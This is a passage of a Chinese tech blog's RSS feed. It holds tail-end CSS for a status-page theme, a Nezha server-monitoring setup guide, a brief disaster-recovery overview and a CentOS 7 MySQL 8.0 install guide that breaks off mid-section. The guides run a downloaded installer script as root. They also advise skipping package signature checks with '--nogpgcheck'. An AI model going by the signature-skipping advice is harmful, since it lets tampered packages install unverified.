/* 进度条 */
.ui.progress {
    border-radius: 50rem !important;
}

.ui.progress .bar {
    min-width: 1.8em !important;
    border-radius: 15px !important;
    line-height: 1.65em !important;
}

.ui.fine.progress&gt; .bar {
    background-color: #21ba45 !important;
}

.ui.progress&gt; .bar {
    background-color: #000 !important;
}

.ui.progress.fine .bar {
    background-color: #21ba45 !important;
}

.ui.progress.warning .bar {
    background-color: #ff9800 !important;
}

.ui.progress.error .bar {
    background-color: #e41e10 !important;
}

.ui.progress.offline .bar {
    background-color: #000 !important;
}

/* 上传下载 */
.status.cards .outline.icon {
    margin-right: 1px !important;
}

i.arrow.alternate.circle.down.outline.icon {
    color: #21ba45 !important;
}

i.arrow.alternate.circle.up.outline.icon {
    color: red !important;
}

/* 弹出卡片小箭头 */
.ui.right.center.popup {
    margin: -3px 0 0 0.914286em !important;
    -webkit-transform-origin: left 50% !important;
    transform-origin: left 50% !important;
}

.ui.bottom.left.popup {
    margin-left: 1px !important;
    margin-top: 3px !important;
}

.ui.top.left.popup {
    margin-left: 0 !important;
    margin-bottom: 10px !important;
}

.ui.top.right.popup {
    margin-right: 0 !important;
    margin-bottom: 8px !important;
}

.ui.left.center.popup {
    margin: -3px .91428571em 0 0 !important;
    -webkit-transform-origin: right 50% !important;
    transform-origin: right 50% !important;
}

.ui.right.center.popup:before,
.ui.left.center.popup:before {
    border: 0px solid #fafafaeb !important;
    background: #fafafaeb !important;
}

.ui.top.popup:before {
    border-color: #fafafaeb transparent transparent !important;
}

.ui.popup:before {
    border-color: #fafafaeb transparent transparent !important;
}

.ui.bottom.left.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}

.ui.bottom.right.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}

.ui.top.left.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}

.ui.top.right.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}

.ui.left.center.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}

/* 弹出卡片 */
.status.cards .ui.content.popup {
    min-width: 20rem !important;
    line-height: 2rem !important;
    border-radius: 5px !important;
    border: 1px solid transparent !important;
    background-color: #fafafaeb !important;
    font-family: Arial,Helvetica,sans-serif !important;
}

.ui.content {
    margin: 0 !important;
    padding: 1em !important;
}

/* 服务页 */
.ui.table {
    background: RGB(225,225,225,0.6) !important;
}

.ui.table thead th {
    background: transparent !important;
}

/* 服务页进度条 */
.service-status .good {
    background-color: #21ba45 !important;
}

.service-status .danger {
    background-color: red !important;
}

.service-status .warning {
    background-color: orange !important;
}

/* 版权 */
.ui.inverted.segment, .ui.primary.inverted.segment {
    color: #000 !important;
    font-weight: bold !important;
    background-color: #fafafaa3 !important;
}
&lt;/style&gt;
```
</code></pre>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[哪吒监控配置]]></title>
            <link>https://www.casear.net/post/10</link>
            <guid>https://www.casear.net/post/10</guid>
            <pubDate>Sun, 19 May 2024 14:12:09 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>准备工作</h1>
<p>搭建一个哪吒监控，你需要：</p>
<ol>
<li>一台可以连接公网的 VPS，防火墙和安全策略需要放行 8008 和 5555 端口，否则会无法访问和无法接收数据。单核 512MB 内存的服务器配置就足以满足大多数使用场景</li>
<li>一个已经设置好 A 记录，指向 Dashboard 服务器 ip 的域名<br>
:::tip{title=&quot;TIP&quot;}<br>
如果你想使用 CDN，请准备两个域名，一个配置好 CDN 用作公开访问，CDN 需要支持WebSocket 协议；另一个域名不要使用 CDN，用作 Agent 端与 Dashboard 的通信<br>
本文档分别以 &quot;cdn.example.com&quot; 和 &quot;data.example.com&quot; 两个域名来演示<br>
:::</li>
<li>一个 Github 账号（或：Gitlab、Jihulab、Gitee）<br>
:::tip{title=&quot;TIP&quot;}<br>
如果您位于中国大陆，访问 Github 有困难，我们建议您选择 Jihulab 作为 OAuth 提供商<br>
:::<br>
本文档将以宝塔面板反代面板的过程作为范例，随着未来版本的变化，部分功能的入口可能会发生改变，本文档仅供参考<br>
:::info{title=&quot;相关信息&quot;}<br>
本项目并不依赖宝塔，你可以选择使用你喜欢的任何服务器面板，如果你能力足够，可以手动安装 NginX 或 Caddy 来配置 SSL 和反代。<br>
如果你认为没有必要使用 80、443 端口来访问 Dashboard，你甚至不需要安装 NginX 就可以直接使用安装脚本。<br>
:::</li>
</ol>
<h1>获取 Github/Jihulab 的 Client ID 和密钥</h1>
<p>哪吒监控接入 Github、Gitlab、Jihulab、Gitee 作为后台管理员账号</p>
<ul>
<li>
<p>首先我们需要新建一个验证应用，以 Github 为例，登录 Github 后，打开 https://github.com/settings/developers ，依次选择“OAuth Apps” - “New OAuth App”<br>
Application name - 随意填写<br>
Homepage URL - 填写面板的访问域名，如：&quot;http://cdn.example.com&quot;<br>
Authorization callback URL - 填写回调地址，如：&quot;http://cdn.example.com/oauth2/callback&quot;</p>
</li>
<li>
<p>点击 “Register application”</p>
</li>
<li>
<p>保存页面中的 Client ID，然后点击 “Generate a new client secret“，创建一个新的 Client Secret，新建的密钥仅会显示一次，请妥善保存</p>
</li>
<li>
<p>JihuLab 的应用创建入口为：https://jihulab.com/-/profile/applications</p>
</li>
<li>
<p>Redirect URL 中应填入回调地址</p>
</li>
<li>
<p>在下方范围中勾选 read_user 和 read_api</p>
</li>
<li>
<p>创建完成后，保存好应用程序 ID 和密码</p>
</li>
</ul>
<h1>在服务器中安装 哪吒监控面板端</h1>
<ul>
<li>在面板服务器中，运行安装脚本：</li>
</ul>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh  -o nezha.sh &amp;&amp; <span class="hljs-built_in">chmod</span> +x nezha.sh &amp;&amp; <span class="hljs-built_in">sudo</span> ./nezha.sh
</code></pre>
<p>如果你的面板服务器位于中国大陆，可以使用镜像：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>curl -L https://gitee.com/naibahq/nezha/raw/master/script/install.sh -o nezha.sh &amp;&amp; <span class="hljs-built_in">chmod</span> +x nezha.sh &amp;&amp; <span class="hljs-built_in">sudo</span> CN=<span class="hljs-literal">true</span> ./nezha.sh
</code></pre>
<ul>
<li>
<p>等待Docker安装完毕后，分别输入以下值：<br>
<code>OAuth提供商</code> - Github，Gitlab，Jihulab，Gitee 中选择一个<br><br>
<code>Client ID</code> - 之前保存的 Client ID<br><br>
<code>Client Secret</code> - 之前保存的密钥<br><br>
<code>用户名 - OAuth</code> 提供商中的用户名<br><br>
<code>站点标题</code> - 自定义站点标题<br><br>
<code>访问端口</code> - 公开访问端口，可自定义，默认 8008<br><br>
<code>Agent的通信端口</code> - Agent与Dashboard的通信端口，默认 5555<br></p>
</li>
<li>
<p>输入完成后，等待拉取镜像<br>
安装结束后，如果一切正常，此时你可以访问域名+端口号，如 “http://cdn.example.com:8008” 来查看面板</p>
</li>
<li>
<p>将来如果需要再次运行脚本，可以运行：<br>
来打开管理脚本</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>./nezha.sh
</code></pre>
</li>
</ul>
<h1>配置反向代理</h1>
<ul>
<li>
<p>在宝塔面板中新建一个站点，域名填写公开访问域名，如 “http://cdn.example.com“ ，然后点击“设置”进入站点设置选项，选择“反向代理” - “新建反向代理”</p>
</li>
<li>
<p>自定义一个代理名称，在下方“目标 URL”中填入 http://127.0.0.1 然后点击“保存”</p>
</li>
<li>
<p>打开刚刚新建的反向代理右边的“配置文件”，将配置文件替换为以下内容：</p>
</li>
</ul>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment">#PROXY-START/</span>
<span class="hljs-section">location</span> / {
    <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:8008;
    <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$http_host</span>;
    <span class="hljs-attribute">proxy_set_header</span>      Upgrade <span class="hljs-variable">$http_upgrade</span>;
}
<span class="hljs-section">location</span> <span class="hljs-regexp">~ ^/(ws|terminal/.+)$</span>  {
    <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:8008;
    <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
    <span class="hljs-attribute">proxy_set_header</span> Upgrade <span class="hljs-variable">$http_upgrade</span>;
    <span class="hljs-attribute">proxy_set_header</span> Connection <span class="hljs-string">&quot;Upgrade&quot;</span>;
    <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$http_host</span>;
}
<span class="hljs-comment">#PROXY-END/</span>
</code></pre>
<ul>
<li>点击“保存”<br>
现在，你应该可以直接使用域名，如：“http://cdn.example.com“ 来访问面板了</li>
</ul>
<p>在宝塔面板中配置 SSL<br>
首先，先暂时关闭反向代理<br>
正如在其他网站中配置 SSL 证书一样，进入站点设置中的 “SSL”，你可以选择自动申请 Let´s Encrypt 证书或手动配置已有的证书<br>
完成 SSL 的设置后，你需要回到 https://github.com/settings/developers ，编辑之前创建的验证应用程序，将之前我们填入的 &quot;Homepage URL&quot; 和 &quot;Authorization callback URL&quot; 中的域名全部从http改为https，如：&quot;https://cdn.example.com&quot; 和 &quot;https://cdn.example.com/oauth2/callback&quot; ，不更改此项可能会导致你无法登录面板后台</p>
<h1>设置面板</h1>
<h2>在管理后台中新增服务器</h2>
<p><img src="https://casear.net/static/img/b40ecde2165bb8f6c23eb33b42aef036.image.webp" alt="image.png"></p>
<h2>设置服务器监控服务</h2>
<p><img src="https://casear.net/static/img/c1c282e62e408daf0048478f67d52b17.image.webp" alt="image.png"></p>
<ul>
<li>名称（随意）</li>
<li>目标
<ol>
<li>类型为 HTTP-GET 时输入URL(带 http/https, HTTPS协议的会顺带监控SSL证书)；</li>
<li>类型为 ICMP-Ping 时输入域名/IP，不带端口；</li>
<li>类型为 TCP-Ping 时输入域名/IP + 端口号：example.com:22</li>
</ol>
</li>
<li>类型
<ol>
<li>HTTP-GET（可以一起监控ssl证书）</li>
<li>ICMP-Ping（直接检测连通性）</li>
<li>TCP-Ping（测试端口连通性）</li>
</ol>
</li>
<li>请求间隔（秒）</li>
<li>覆盖范围（默认即可）</li>
<li>特定服务器（选择服务器ID）</li>
<li>通知方式组（在下一节中的告警方式中提前设置）</li>
<li>故障通知（同样使用告警设置）</li>
<li>最大延迟（设置服务器最大监控的ms）</li>
<li>最小延迟（在最大延长和最小延迟中的区间高即为不正常，低即为正常）</li>
</ul>
<h2>任务</h2>
<h2>告警</h2>
<h3>灵活的通知方式</h3>
<p>在面板消息中，占位符 <code>#DATETIME#</code>代表事件发生的时间戳。当通知被触发时，面板会自动将 <code>#DATETIME#</code>替换为事件的实际时间。</p>
<p><code>#NEZHA#</code>是面板消息占位符，面板触发通知时会自动用实际消息替换占位符</p>
<p><code>Body</code>内容是<code>JSON</code> 格式的：当请求类型为 <code>FORM</code> 时，值为 <code>key:value</code> 的形式，<code>value</code> 里面可放置占位符，通知时会自动替换。当请求类型为 <code>JSON</code> 时 只会简单进行字符串替换后直接提交到<code>URL</code>。</p>
<h3>Server 酱示例</h3>
<p>名称：Server 酱<br><br>
URL：https://sc.ftqq.com/你的key.send?title=哪吒报警信息&amp;desp=#NEZHA#<br><br>
请求方式: GET<br><br>
请求类型: 默认<br><br>
Body: 空<br></p>
<h3>Server 酱进阶</h3>
<p>名称：Server 酱<br><br>
URL：https://sc.ftqq.com/你的key.send<br><br>
请求方式: POST<br><br>
请求类型: FORM<br><br>
Body:<br></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-punctuation">{</span>
 <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;#SERVER.NAME#&quot;</span><span class="hljs-punctuation">,</span>
 <span class="hljs-attr">&quot;desp&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-string">&quot;**#NEZHA#\n\n
 平均负载: \&quot;#SERVER.LOAD1#\&quot;,\&quot;#SERVER.LOAD5#\&quot;,\&quot;#SERVER.LOAD15#\&quot;\n\n
 ## [点击访问面板](https://你的面板域名)\n\n
 ![logo](https://raw.githubusercontent.com/naiba/nezha/master/resource/static/brand.svg)&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre>
<p>演示</p>
<p><img src="https://casear.net/static/img/504714ee26f87512049c41ea4b270089.image.webp" alt="image.png"></p>
<p>server酱通知展示</p>
<p><img src="https://casear.net/static/img/3d890f4c865a8e72006ff039940e28ee.image.webp" alt="image.png"></p>
<h3>告警规则说明</h3>
<p>基本规则<br><br>
type：可选取一个或多个类型，如在一个规则中选择了多个类型，需要同时满足所有选择的类型才会触发通知（可参考后面的示例）<br><br>
cpu、memory、swap、disk<br><br>
net_in_speed 入站网速、net_out_speed 出站网速、net_all_speed 双向网速、transfer_in 入站流量、transfer_out 出站流量、transfer_all 双向流量<br><br>
offline 离线监控<br><br>
load1、load5、load15 负载<br><br><br>
process_count 进程数 目前取线程数占用资源太多，暂时不支持<br><br>
tcp_conn_count、udp_conn_count 连接数<br><br>
duration：持续数秒，数秒内采样记录 30% 以上触发阈值才会报警（防数据插针）<br><br>
min 或 max：<br><br>
流量、网速类数值 为字节（1KB=1024B，1MB = 1024*1024B）<br><br><br>
内存、硬盘、CPU 以占用百分比计数<br><br>
离线监控无需设置此项<br><br>
cover：<br><br>
0 监控所有，通过 ignore 忽略特定服务器<br><br>
1 忽略所有，通过 ignore 监控特定服务器<br><br>
报警规则分享<br><br>
名称：离线报警<br><br>
规则：<code>[{&quot;Type&quot;:&quot;offline&quot;,&quot;Duration&quot;:10}]</code> 解释：每10s坚持一次，如果离线会发通知。（10s感觉太短，我改成600，也就是10分钟感觉比较合适）</p>
<p>名称：CPU过高警告<br><br>
规则：<code>[{&quot;type&quot;:&quot;cpu&quot;,&quot;max&quot;:90,&quot;duration&quot;:300}]</code> 解释：CPU超过90%发通知警告。300s一周期。（90和300自行修改为自己合适）</p>
<p>名称：内存过高警告<br><br>
规则：<code>[{&quot;type&quot;:&quot;memory&quot;,&quot;max&quot;:90,&quot;duration&quot;:300}]</code> 解释：内存占用超过90%发通知警告，300s一周期。（90和300自行修改为自己合适）</p>
<p>名称：硬盘即将爆满<br><br>
规则：<code>[{&quot;type&quot;:&quot;disk&quot;,&quot;max&quot;:80,&quot;duration&quot;:43200}]</code> 解释：硬盘占用超过80%发通知警告，12小时一周期。（80和43200自行修改为自己合适）</p>
<p>名称：TCP链接过多异常<br><br>
规则：<code>[{&quot;type&quot;:&quot;tcp_conn_count&quot;,&quot;max&quot;:20,&quot;duration&quot;:300}]</code> 解释：TCP链接数超过20个发通知报警，300s为周期。</p>
<p>名称：出站网速过快警告<br><br>
规则：<code>[{&quot;type&quot;:&quot;net_out_speed&quot;,&quot;max&quot;:524288000,&quot;duration&quot;:300}]</code> 解释：出站网速超过500M警告发通知，周期为300s。（524288000和300自行修改为自己合适）</p>
<p>名称：周期内流量警告<br><br>
规则：<br>
<code>[{&quot;type&quot;:&quot;transfer_out_cycle&quot;,&quot;max&quot;:1099511627776,&quot;cycle_start&quot;:&quot;2022-01-01T00:00:00+08:00&quot;,&quot;cycle_interval&quot;:1,&quot;cycle_unit&quot;:&quot;month&quot;,&quot;cover&quot;:1,&quot;ignore&quot;:{&quot;3&quot;:true,&quot;4&quot;:true}}]</code></p>
<p>解释：ID 为 3 和 4 的服务器（ignore 里面定义），以每月 1 号为统计周期，周期内统计的出站月流量达到 1TB 时报警</p>
<ul>
<li>
<p>type之中transfer_out_cycle表示周期内的入站流量。大家可以修改为transfer_out_cycle 周期内的出站流量、 transfer_all_cycle 周期内双向流量和<br></p>
</li>
<li>
<p>max之后的1099511627776为1TB流量，这里使用的单位应该是B，大家可以自行修改。如：200GB为214748364800<br></p>
</li>
<li>
<p>cycle_start: 是统计周期开始日期（可以是你机器计费周期的开始日期），时间格式为RFC3339，例如北京时间为2022-01-11T08:00:00.00+08:00</p>
</li>
<li>
<p>cycle_interval：每隔多少个周期单位（例如，周期单位为天，该值为 7，则代表每隔 7 天统计一次）</p>
</li>
<li>
<p>cycle_unit 统计周期单位，默认hour,可选(hour, day, week, month, year)</p>
</li>
<li>
<p>cover参考基本规则 【0 监控所有，通过 ignore 忽略特定服务器 、1 忽略所有，通过 ignore 监控特定服务器】</p>
</li>
<li>
<p>ignore内定义要监控的VPS 的ID。</p>
</li>
</ul>
<h1>安装被控端</h1>
<p>在服务器界面负责一键安装代码，直接复制到被监控端直接运行即可</p>
<p><img src="https://casear.net/static/img/a2e456acf0d203a75a24dc39c484cd97.image.webp" alt="image.png"></p>
<p>但是国内的服务器无法正常安装哪吒探针，即使是脚本提供的国产镜像也不行</p>
<p><a href="https://github.com/nezhahq/agent/releases">探针下载</a></p>
<p><img src="https://casear.net/static/img/ddfd820f22bc23b25ff796046c57a791.image.webp" alt="image.png"><br>
根据服务器选择合适的版本下载，下载完后是一个二进制代码文件，无后缀</p>
<pre><code class="language-以下内容来自nezha.sh">NZ_BASE_PATH=&quot;/opt/nezha&quot;
NZ_AGENT_PATH=&quot;${NZ_BASE_PATH}/agent&quot;
NZ_AGENT_SERVICE=&quot;/etc/systemd/system/nezha-agent.service&quot;

1. &quot;/opt/nezha&quot; 为面板核心的存放目录，包括Dashboard 和 Agent

2. &quot;/opt/nezha/agent&quot; 结合上文，此目录就为代理端核心文件的存放位置

3. &quot;/etc/systemd/system/nezha-agent.service&quot; 
    对Liunx系统比较熟悉的小伙伴就会知道这个文件决定的哪吒代理端的开机启动
</code></pre>
<p>根据上述内容判断出核心存放目录和存放位置</p>
<h3>操作步骤</h3>
<ol>
<li>
<p>在服务器上创建<code>“/opt/nezha/agent”</code>目录，将<code>nezha-agent</code>放入</p>
</li>
<li>
<p>在<code>“/etc/systemd/system/”</code>目录新建一个<code>nezha-agent.service</code>文件，将完成替换的代码保存进其中</p>
<pre><code>[Unit]
Description=Nezha Agent
After=syslog.target
#After=network.target
#After=nezha-dashboard.service

[Service]
# Modify these two values and uncomment them if you have
# repos with lots of files and get an HTTP error 500 because
# of that
###
#LimitMEMLOCK=infinity
#LimitNOFILE=65535
Type=simple
User=root
Group=root
WorkingDirectory=/opt/nezha/agent/
ExecStart=/opt/nezha/agent/nezha-agent -s IP地址:5555 -p 密钥
Restart=always
#Environment=DEBUG=true

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
#ProtectSystem=full
#PrivateDevices=yes
#PrivateTmp=yes
#NoNewPrivileges=true

[Install]
WantedBy=multi-user.target
</code></pre>
</li>
<li>
<p>最后在脚本中重新更改探针配置后重启即可上线</p>
</li>
</ol>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[异地容灾备份系统两地三中心]]></title>
            <link>https://www.casear.net/post/8</link>
            <guid>https://www.casear.net/post/8</guid>
            <pubDate>Wed, 17 Jan 2024 03:12:14 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>两地三中心：异地容灾备份的先进方案</h1>
<p>在数据日益重要的今天，确保数据的安全与完整是企业的核心任务。</p>
<p>为此，异地容灾备份系统两地三中心架构提供了一种强大而可靠的解决方案。</p>
<p>两地三中心包括一个生产中心、一个同城灾备中心和一个异地灾备中心。这种架构不仅确保数据安全，还能在灾难发生时快速恢复业务。</p>
<p>数据通过硬件复制、虚拟化复制或存储复制等技术实时或近实时地备份至两个灾备中心，大大提高了数据的可用性和完整性。同时，网络连接的稳定性和带宽也至关重要，以确保数据的一致性和完整性。</p>
<p>选择合适的硬件和存储设备，以及建立完善的监控和维护机制也是关键。此外，制定详细的灾难恢复计划并定期进行演练，可以确保在灾难发生时能够快速、准确地恢复数据。</p>
<p>随着技术的不断进步，企业应持续更新两地三中心架构以应对新的挑战和需求。总的来说，异地容灾备份系统两地三中心是一种高效、可靠的灾难恢复解决方案，能够确保企业的数据安全和业务连续性。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[转载 关于躺平]]></title>
            <link>https://www.casear.net/post/7</link>
            <guid>https://www.casear.net/post/7</guid>
            <pubDate>Mon, 08 Jan 2024 09:05:09 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
       <!-- more -->
 <iframe style="width: 100%; height: 500px;" src="//player.bilibili.com/player.html?aid=707817716&bvid=BV1EQ4y1E7qU&cid=1382937073&p=1" scrolling="no"border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[CentOS7安装MySQL8.0]]></title>
            <link>https://www.casear.net/post/6</link>
            <guid>https://www.casear.net/post/6</guid>
            <pubDate>Sun, 19 May 2024 14:11:37 GMT</pubDate>
            <description><![CDATA[<p><img src="https://casear.net/static/img/913d509c28c3bff23766313cd1cb52b6.image.webp" alt=""></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://casear.net/static/img/913d509c28c3bff23766313cd1cb52b6.image.webp" alt=""></p>
<!-- more -->
<h1>下载rpm安装在线安装包</h1>
<p>直接在linux上下载在线安装包</p>
<pre><code>wget https://repo.mysql.com//mysql80-community-release-el7-3.noarch.rpm
</code></pre>
<p><img src="https://casear.net/static/img/3ade82f9810c71847e2e9bed30f19bfd.image.webp" alt="image.png"><br>
也可以在自己电脑上先下载mysql.rpm文件再上传到linux服务器上<br><br>
下载地址https://dev.mysql.com/downloads/</p>
<p><img src="https://casear.net/static/img/faec36dd2a86b5b31b57b2b162b13c2d.image.webp" alt="image.png"><br>
挑选合适的系统版本<br>
<img src="https://casear.net/static/img/17c8a5a22ef38296384aabf20ade687e.image.webp" alt="image.png"></p>
<h1>mysql rpm包依赖源</h1>
<p>上面wget下载完成后，执行下面的命令确定依赖源。</p>
<pre><code>sudo yum -y localinstall mysql80-community-release-el7-3.noarch.rpm
</code></pre>
<ol>
<li><code>sudo</code>以管理员权限运行命令。</li>
<li><code>yum</code>这是<code>CentOS</code>中的包管理器，用于安装、更新和删除软件包。</li>
<li><code>localinstall</code>这是<code>yum</code>命令的一个选项，表示从本地安装软件包。</li>
<li><code>mysql80-community-release-el7-3.noarch.rpm</code>这是<code>MySQL 8 RPM</code>文件的名称。</li>
</ol>
<p><img src="https://casear.net/static/img/6725772fe2e468d798e887f6f9477fdf.image.webp" alt="image.png"></p>
<h1>安装rpm包</h1>
<pre><code>rpm -ivh mysql80-community-release-el7-3.noarch.rpm
</code></pre>
<ol>
<li>
<p><code>rpm：RPM（Red Hat Package Manager）</code>是<code>Red Hat</code>及类似系统（如<code>CentOS</code>、<code>Fedora</code>等）上的软件包管理器。它用于安装、卸载、更新、查询和验证软件包。</p>
</li>
<li>
<p><code>-ivh</code>：这是<code>rpm</code>命令的选项，每个字母代表一个操作：</p>
<ul>
<li><code>i</code> 代表安装（<code>install</code>）。</li>
<li><code>v</code> 代表详细输出（<code>verbose</code>）。这意味着在安装过程中，会显示详细的信息，有助于了解安装的进度和可能出现的问题。</li>
<li><code>h</code> 代表显示安装进度（<code>hash mark progress</code>）。在软件包安装时，它会显示一个进度条，以<code>#</code>字符的形式表示进度。</li>
</ul>
</li>
<li>
<p><code>mysql80-community-release-el7-3.noarch.rpm</code>：这是要安装的软件包的名称。从名称可以看出，这是<code>MySQL 8</code>的社区版，并且是为<code>CentOS</code>/<code>RHEL 7</code>制作的。其中，“<code>noarch</code>”表示这个包不是为特定的硬件架构制作的，而是可以在任何架构上安装。</p>
</li>
</ol>
<p><img src="https://casear.net/static/img/6936210e1b3b407db11ae037200b967d.image.webp" alt="image.png"></p>
<h1>安装MySql</h1>
<pre><code>yum install mysql-server
</code></pre>
<ol>
<li><code>yum</code>：这是<code>CentOS</code>和其他基于<code>Red Hat</code>的<code>Linux</code>发行版中的默认包管理器。它用于从指定的软件仓库中自动安装、升级、配置甚至删除软件包，解决了软件包之间的依赖关系问题。</li>
<li><code>install</code>：这是<code>yum</code>命令的一个选项，表示要安装一个或多个软件包。</li>
<li><code>mysql-server</code>：这是要安装的软件包的名称，代表<code>MySQL</code>的服务器软件。</li>
</ol>
<p><img src="https://casear.net/static/img/52709eab6f80ecd79fe61b479a3823a3.image.webp" alt="image.png"><br>
运行的时候有要输入的地址全部填<code>y</code>即可</p>
<p>:::tip{title=&quot;提示&quot;}<br>
遇到<code>Failing package is:mysql-community-icu-data-files-8.0.29-1.el7.x86_64 GPG Keys are configured as</code>（公钥未安装） 问题时在<code>yum install</code> 版本后面加上 <code>--nogpgcheck</code>，即可绕过GPG验证成功安装<br>
:::</p>
<pre><code class="language-提示公钥未安装时">yum install mysql-community-server --nogpgcheck
</code></pre>
<p><code>--nogpgcheck</code>：这是一个参数，指示<code>yum</code>在安装过程中不进行<code>GPG</code>（<code>GNU Privacy Guard</code>）检查。<code>GPG</code>是一种加密软件，用于保护数据的完整性和机密性。在默认情况下，<code>yum</code>在安装软件包时会进行GPG检查，以确保软件包的完整性和来源的可靠性。但是，有时候由于某些原因，例如源<code>key</code>错误，<code>GPG</code>检查可能会失败，导致安装失败。添加<code>--nogpgchec</code>k参数可以跳过<code>GPG</code>检查，使安装继续进行。</p>
<h1>服务安装、启动</h1>
<h2>启动mysql命令：</h2>
<pre><code>systemctl start mysqld
</code></pre>
<h2>开机启动命令：</h2>
<pre><code>systemctl enable mysqld
</code></pre>
<pre><code>systemctl daemon-reload
</code></pre>
<p><code>systemctl enable mysqld</code>：这个命令将<code>MySQL</code>的服务在系统启动时设置为自动启动。这意味着每次系统启动时，<code>MySQL</code>服务也会自动启动。</p>
<p><code>systemctl daemon-reload</code>：这个命令会重新加载<code>systemd</code>守护进程的配置文件，以使最新的配置生效。当你修改了<code>systemd</code>服务的配置文件后，通常需要运行这个命令来使更改生效。</p>
<h1>验证</h1>
<h2>查看mysql服务运行状态</h2>
<pre><code>service mysqld status
</code></pre>
<p><img src="https://casear.net/static/img/8d2baf45a35f22f48b55220e028a6812.image.webp" alt="image.png"><br>
:::tip{title=&quot;提示&quot;}<br>
在执行<code>service mysqld status</code>时，系统会通过调用相关的系统命令来检查MySQL服务的状态。如果<code>MySQL</code>服务正在运行，命令将返回关于服务的信息，例如服务的进程<code>ID</code>（<code>PID</code>）和已运行的时间等。这些信息可以提供关于<code>MySQL</code>服务当前状态的详细信息。<br><br>
如果<code>MySQL</code>服务没有运行，命令将返回服务未运行的消息。这表示<code>MySQL</code>服务器没有在当前系统上运行。<br>
:::</p>
<h2>查看3306端口是否启动，如果启动了则表示mysql处于运行状态。</h2>
<pre><code>netstat -anp|grep 3306
</code></pre>
<p><img src="https://casear.net/static/img/8adf9d4b13ef7937f29073828c8eecad.image.webp" alt="image.png"><br>
:::tip{title=&quot;提示&quot;}<br>
